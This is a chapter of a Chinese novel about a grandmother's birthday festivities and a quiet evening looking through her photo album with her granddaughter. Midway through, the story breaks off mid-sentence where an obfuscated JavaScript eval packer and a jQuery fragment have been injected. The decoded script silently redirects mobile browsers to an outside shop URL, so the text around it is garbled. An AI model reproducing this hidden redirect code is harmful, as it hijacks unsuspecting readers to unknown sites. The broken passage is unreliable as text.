晚上两家人在花厅里吃晚饭，过后先到门口看舞狮子，看完了再去群芳苑里听戏。
丁字式的两条长街和两处宅子，各处挂上了大红软纱，从城门外起搭了木桩子，过了青灰的城门，也有挂在百年榕树和桂树低低的树枝上的；每根木桩子上又都挂一盏玻璃献寿图宫灯，有童子滚灯献寿图，寓意儿孙满堂，也有八仙献寿、仙女献蟠桃图，这些是祝祷寿比南山。堂皇的一个喜庆的世界，办天大的喜事似的。请了两对舞狮、一班乐手。四只舞狮早候在门前，四周围着举着祝牌的、举着鱼灯龙灯的，七八个乐手安在不远处的一角——不近不远，做配角的，不能离舞狮太近，怕妨碍了动作的开展。
那祝牌都是拿完整的一块木板做的，不拘是什么木头，只要完完整整——中国人在生日这天尤其讲忌讳，生怕一个微小的举动影响了自己的气运和命数的。过生日，不管人家怎么想的，一定要祝长命百岁、寿比南山，当天吃一碗面都要叫做“长寿面”，且面要直溜溜的一条。这木板自然不要拼凑的——凑出来的，多不吉利！自然，穷人讲究不起，只好啐道：“你讲究，看你能讲究一辈子吗？你能讲究过皇帝？臭显摆的，你到阎王爷面前显摆去。”不要紧，他骂他的，能显摆的还是先显摆。那祝牌上糊了红纸，专门请了写字先生来写字，要隶书——起源早，有好兆头，写道“仙寿恒昌”、“福慧双修”、“六根寂静”、“众善奉行”。后几个因着公冶老太太信佛，投她的喜好写的。
众人簇拥着老太太刚到门口，惊天的一声“当”立马响了，一出大戏的开场似的，锣鼓领着各式乐器齐齐地奏了起来。
老牌的舞狮队用的铜锣是不大一样的，直径一米的镶黑边的铜锣，中心是一个拳头大的黑点，用得旧了，黑漆剥落，成了苍青的刚剃度的小和尚的头的颜色。一整个乐手队伍里，仿佛铜锣手最轻松，只专心地敲那一个黑点，也不大按节奏，“当隆隆”、“当隆隆”的响着，从中心那一点向四面八方扩散，直响到天上去。胡琴、竹笛、大鼓和镲都按着节奏共唱一支协奏曲，欢天喜地的一首曲子，不许这个喜庆的世界有一点忧愁的。铜锣不管，轰隆隆的声音杂乱了一切，有一种混乱的感觉。自然，它拔高了喜悦的程度，更不许看众有一丝分心的。难怪游神队伍里时不时有一声铜锣声，是拒绝神明游玩累了回到天上去——人给她办的仪式还没完呢。
在这嘈杂里，舞狮上蹿下跳，往后了几步，撑着头的人踩在后一人的腿上，忽然又飞箭似的蹿去了前边，还摇摆着脑袋唬人玩；鱼灯和龙灯的架构都是三段，里面精细地编织了框架，又点起星星点点的烛火，整个灯明亮亮的，映着外层的大红和明黄宣纸，举灯的有几个小孩子，一身短打扮，大红圆领对襟短衫，腰上系一条暗红带子，、下边一条浅色的窄脚袴，有些呆呆地绕在舞狮旁边摇摇摆摆地走动，透着呆气与可爱。
老太太一面笑，嘱咐流红往小孩子的口袋里装糖果，又在每人的袴绊上栓了一只正红金丝绣花香囊，里边放了一两银子，做了小元宝的样式。小孩子们出来举灯，穿的是专门的做有裤绊的裤子，出门之前要检查好几遍的，只怕穿错了。
“表姊，过去玩！”顾连惠见着舞狮不住地邀她下去，连声撺掇公冶华月一起。
公冶华月站在老太太身边，摇头笑道：“你去吧。”
顾连惠道：“你和我一起！我一个人孤零零的不好下去。”
盛及春在一旁怼顾连惠的手臂，低声道：“小姐家下去闹，算什么样子？”
老太太瞧着，笑道：“去吧，去玩玩。小心着点，别摔着自己了。”
顾连惠得了老太太的令，尽力挽了公冶华月和弄晴的手下去玩。老太太又吩咐流红、绛雪、小漫等人去玩，别呆愣愣地站在上头笑。
众人围着几只舞狮格格的笑起来，又是拍手，又是转圈。公冶华月站在中间，光与影不断地掠过她，她还来不及看清，黄澄澄的烛火蹭过去了，她似乎见着鱼灯里边的玉色竹子框架——生机之下已经干瘪的尸体，竹节干了、旧了之后成了焦黑颜色，玉色里一点一点的黑色霉斑，蓬蓬勃勃的生命中的一点污垢似的。然而那一点黑点也极快地过去了，公冶华月还没来得及感受。她在这浮光掠影中觉得混乱，一场荒诞的舞台剧似的，太过于欢乐了，她抬眼看向公冶老太太。见着她脸上的笑，映着一层金光，公冶华月才笑了起来。顾连惠和弄晴不知道从哪里转过来，一人牵住了她的一只手，燕子似的飞去了。
在这过程中，几个佣人各拿着一支玉色的香火去点摆在街边的烟花。“沙沙沙”，烟花在天上散开了，之后灰色的硝石掉在碧色琉璃瓦上，像雨一样落下来。
这之后去看戏，仍是看那一个明亮的小灯泡似的戏台子的世界。老太太点了一出《侬说春色好》便不看了。顾云喜和何在蝉见老太太不看，也都说累了，各回屋里歇息。公冶华月也说回去，但先去了一趟老太太的屋里。
盛及春跟着告辞，预备携了顾连惠先回去。她先去了屏风的另一边，轻声叫了顾承炳过来。
夜里凉，顾承炳穿了件黑地四合如意纹的香云纱袍子，盛及春伸手理了理他的衣襟，摸到一手的凉。因笑道：“你这会儿和我们一道回去吗？还是要留下？连惠说你许久不早回家了，叫你注意身子。”
顾承炳自己伸手甩了甩衣摆，滋溜滋溜的一片响，笑道：“这么早就回去了？”
盛及春低声道：“老太太说累了，我看她精神头不大好，少留在这儿烦人家才是。况且出门一整天了，谁还有力气陪笑脸？早回去洗漱罢。”
顾承炳道：“你们便先回去，我晚点就回。惠丫头多大了？又不是小时候，跟她说我有正经事要忙就是了。她也是，今儿个这么体贴了？倒学会关心我了。我的身子我自个儿注意着，你们少操心。”
盛及春睨了他一眼，瞧见他脸上淡淡的笑，又侧头瞧了瞧那明亮的戏台子——花旦小生扮好了相，蜜里调油地闹着呢。她咬牙道：“忙你的正经事······你就忙吧！”
顾承炳体贴道：“回去吧，路上小心些。”
盛及春也没理，抓住顾连惠的手便走了。
佣人在前边打着灯笼，流红扶着老太太，笑道：“老太太不是说看累了？怎么还要小姐去屋里一趟？我看小姐也累了的。”
老太太笑道：“刚刚那舞狮太闹了，显得戏台子有点安静。我这回去屋里也没人，还是叫华月去陪我一趟。”
流红嗔道：“老太太倒忘了我们了，还是我们平日里不够闹着老太太。”
老太太笑了几声，忙道：“你们平日里还不够闹？再闹一些，我连功课也做不成了。”
流红见老太太精神了些，接着问道：“要留大妗子和连惠小姐住一晚上吗？人多倒热闹些。”
老太太摆手道：“别拘着她们了，来这边一整天了，哪有不念着回家的？这会儿人都该坐上车子了，叫人家做什么。我也是真累了，比不得往年还能熬夜，也陪不了她们了。”
流红笑道：“老太太瞧见了吧？连惠小姐玩得最欢了，还没玩够呢。那狮子要散了，她还拿了那狮子头玩了会儿，看着像模像样的。”
老太太忍不住笑道：“惠丫头聪明，看了什么喜欢的，一上手弄弄便会了的，从小时候起就是这样。”顿了会儿，又问道：“你们有没有给她香囊袋子？”
流红笑道：“给了的，瞧着兴高采烈的。还说回去了也要买一只鱼灯来玩玩。”
老太太因问起公冶华月：“你拿了没有？”
华月笑道：“我又没舞鱼舞灯的，流红姊她们不肯给我呢。”
“嗳，我的好好小姐，白白地冤枉起人了。”流红忙向华月陪了个笑，又嗔道：“老太太，我们可是一开始就给小姐了，哪里没想着了？小姐怎么说的？她说：‘我又不是小孩子了，不要这种玩意儿’。——人家不是小孩了，是个娇娇的亭亭玉立的姑娘，不要我们的。”
老太太失笑道：“怎么就不要？拿着也是个好兆头。再说，这要论起来，我们华月不就是个小孩？她长一岁，我长一岁，永远不变的。你哪里长大了？我看起来，还觉得你和小时候一样的。”
回了老太太的院子。那儿在她们回来之前就亮着了，佛堂那儿没亮，怕打扰菩萨娘娘。家里别的各处地方也亮堂堂的——过大寿，直要亮到深夜的。大门、角门、路上各处的灯更甚，要直亮到第二天。
老太太叫流红取出了一本相片簿。原先放在靛蓝函套里，取出来，是正红杭缎卍字纹布面，米色洒金题签，毛笔小楷写道：“许永祯回忆录”。那题签亮晶晶地闪着金粉，连名字也亮起来。
公冶华月见着那个“许永祯”，立马想到这是她奶奶的名字，有一种诧异却亲切的感觉油然而生。她到这时候才刚知道她奶奶的名字。不能问出口“这是不是你的名字”的，记在心里也就是了。——然而也记不住一辈子。
旧式的家庭里，隔辈的人一般不通名字，小辈的名字自然人尽皆知，连照着小孩的出糗事迹或本名编造的花名都朗朗上口。可爷爷奶奶辈以及往上的先辈的名字却像是禁忌的，大人不许专门告诉小孩子，老人自己也不会主动说一声——带着害羞的扭捏，还有一种必须要捍卫的尊严似的。一代一代地传下去，要不了多久，总有一辈的人要被忘记的，后来久了，最新长成的一辈又只记得自己父母的名字——也有不记得的。这生命的传承，如此顽固，而又显得哀凉。连名字都不记得，你还希望别人记得你的什么？这还是你的亲人，外人更不用说的。滔滔的几千年，黄沙掩过，除了史书上的名字和故事，还有什么可以被传颂和祷念？对普通人来说未免太凄凉——不被记住也就算了，你离不开这滚滚无情的天道，只是炉鼎中的一粒水汽，透明的，裹挟在千千万万的执念中，法身在哪儿？你不知道。融在哪儿就看不见了。
老太太翻开相簿，先是她年轻时候的照片。只有几张，然而算不上少，因为她的相簿本身就太薄了。她以前结婚，同公冶华月的相亲流程差不多，为着相亲拍了几张照片，一张她单人的，一张和父母的，还有一张是和她的乳母。她穿了两套衣服，穿一件白底牡丹折枝小纹袄子，下边系一条宝蓝遍地金裙子；还有一套是苹果绿绣花袄子，下边系桃红千里江山纹织银裙子。然而在黑白的照片里是看不到一点颜色的。看人的脸倒挺好看，她年轻时是鹅蛋脸，细细的眉毛、水杏眼，嘴唇平平地捺着，既不太厚也不过薄，然而看得出几分笑意。后来她结婚了，和丈夫有一张婚纱照。
那个时候的人不太爱拍照的，除了十分重要的事情，一张也不愿意拍的——面对外国摄像师手里的黑漆的机子，他们总觉得拍照会将他们的灵魂关到里面去，自此事事都要不顺利的，也许死了以后还要当人家的奴隶。
还有一种原因——人人都怕老的。没有照相机留影，便少了参照物，人都老了，不记得从前自己的样子了，说起来谁也不怕。可是老了的时候拿着年轻时拍的照片，总有一种恐怖的感觉——那是我吗？年轻成这个样子？再细细地回
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17790788|206699||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
忆回忆那时的情景，由于是在重要的时节拍的照片，回忆起那段时光难免惊心——我还这样子生活过？开心成这样？一种很深很深的叹息，再多的功名富贵也回不去从前了。另一种是，原来走过那么多苦难，来到尽头，而人生不过尔尔。并且相貌好过的人还可以大发感慨，丑人则只庆幸大家都老了的，虽然仍有人有体面的老相，到底也老了，不比年轻时高贵。
老太太的相簿的后边有了儿孙辈，她点着一张照片笑道：“这时候你还小呢，才两岁多来着。见着什么都怕的，连照相机也会怕起来。第一次拍还弄脏了你母亲的衣裳，她倒不生气，抱着你回去换了身衣服。”
那是公冶应麟、谢道怜、公冶则阳和华月的合影。公冶华月坐在谢道怜的怀里。
公冶华月也笑起来，问道：“我还弄脏了妈妈的衣服？”
老太太笑道：“你不记得了？那时候还没开始记事吧？你哭个不停，哭得呕奶了，稀里哗啦吐了一地呢。”
公冶华月听着这非常遥远且没有印象的往事，啼笑皆非。只得道：“哭得那么厉害。”
老太太和屋里的老妈子忍不住笑起来，都道：“长大了便不认了。”
相簿的最后几页收的是公冶华月前不久拍的照片，和一家子的合照，单人的，还有和弄晴合照的。
弄晴在一旁笑道：“我也站在小姐的身边呢！就像老太太从前拍的那张照片一样。”
她说的是老太太和她乳母拍的那张，富贵人家里边，乳母是有功劳有资历的，可以和少爷小姐一起拍照。
公冶华月笑着抚了抚那张照片。白皙的细手指点在黑白色的照片上，生与死的区别。公冶华月吃了一惊，将手收回去了。那一刹那，生与死的界限，那相隔的看不见的一线又消失了。
老太太笑道：“没了，就拍了那么几张。我们那时候的人都不大爱拍相片的，觉得奇怪。”
她一面将相片簿和函套都递给流红，叫她放回去。公冶华月看着，觉得刚刚在看死人的遗物——不属于她的人生，拿到她面前给她过过眼罢了。
流红接过来道：“现在可时兴了，年轻的小姐们都爱照相的。上小学、中学、大学，入学要拍，拿了奖学金、参加活动都要拍。真是拍得太多了。不过我们小姐倒也不爱拍照，长大之后的算起来，统共没有五张。”
老太太道：“之前那份报纸上是不是拍了？则阳也在里面的。两个人瞧着站得太挺直了，比老师还老师的。”
说的是北方高校搬迁，决议暂驻去寿春园那次，校长、老师、公冶应麟、顾承炳他们都在的。流红笑道：“老太太倒还记得。当时我们一看，都觉得照得不大好，人太多了，少爷和小姐只占了一个小角落。”
老太太笑道：“照了也就罢了，不在于多少，以后有个纪念就是。到我这个岁数，真是什么都快不记得了。看那几张年轻时候的相片，还以为是在看别个人呢。”笑了笑，她睁着一双灰白的眼睛对公冶华月道：“年轻的时候就那么些年，要是遇着要照相片，不要推，照一张留着自己看就是了，不给别人看。”
公冶华月笑道：“不给别人看吗？”
老太太道：“我看你是一辈子不结婚的了，用得着给谁看？虽说外边传得不像样子，难道我们公冶家的人就被别人瞧不起了？我看倒是你一个也瞧不上的。这样子哪是想要结婚的小姐人家？”
她想起年轻时在家里做姑娘的时候，家里的两个姊姊大她几岁，接连嫁出去了。又逢着身边的老妈子们劝，她也着急起来，碰着一个人都觉着好的——一个完完整整属于她的人。她嫁出去，觉得和姊姊们一样了，来不及想，一晃眼便老了。
流红和一边的老妈子忙劝道：“老太太说笑了，哪有年轻轻的小姐不找夫婿的？”
老太太笑道：“你们也别哄我了，我们家还真有一个。”
公冶华月只是笑，回道：“真真的有一个。”
又坐了一会儿，老太太叫公冶华月回去，她自己还要做做功课，然后便睡了。
公冶华月笑道：“我再陪您坐一会儿？”
老太太忙叫人送她出去，一面笑道：“快回去，我这儿还要好一会儿呢。上次你不是被瑾之叫出去玩了？功课也没做完。总这样，菩萨要怪罪的。”
“怎么会？观音娘娘这样小气？”华月笑道，一面扶老太太起来，往会客间那边走。流红等人走在前面，一路点起灯。
老太太在套间槅门那儿停住了，拍了拍华月的手道：“可以了，去吧，回去早点歇息。我看你这两个月总出去玩，人都没有以前精神了。我这儿有的是人陪着。”
公冶华月只得告辞出去，走前向流红笑了笑，示意流红劝老太太早点歇息。流红笑着点了点头。
华月走到弥勒佛那儿，身后的佛堂亮起来了。
她回头去看，朦朦胧胧的玉色的光，月亮进去了似的。她总觉得哪里不对，心头有蚂蚁啮她的心似的，她想弄明白，于是细细地回想了一番老太太的神情和言语。然而佛堂里响起来了，木鱼“咄，咄，咄”的声音，荡入寂寞的万古之中。
后来她忽然想起今晚上的异样，才终于醒悟命运给她的暗示和隐喻——只是她当时都不懂得。她回想起更早之前，总觉得哪里走错了一步，或许是对某个人的愧疚。但是她可以走另一条路吗？命定的缘分，她深信不疑。因此常常觉得错过了便错过了，没什么可惜的。正如史书上的所有，根本没有诡谲的风云，不过一言一语、一行一动、一念一过。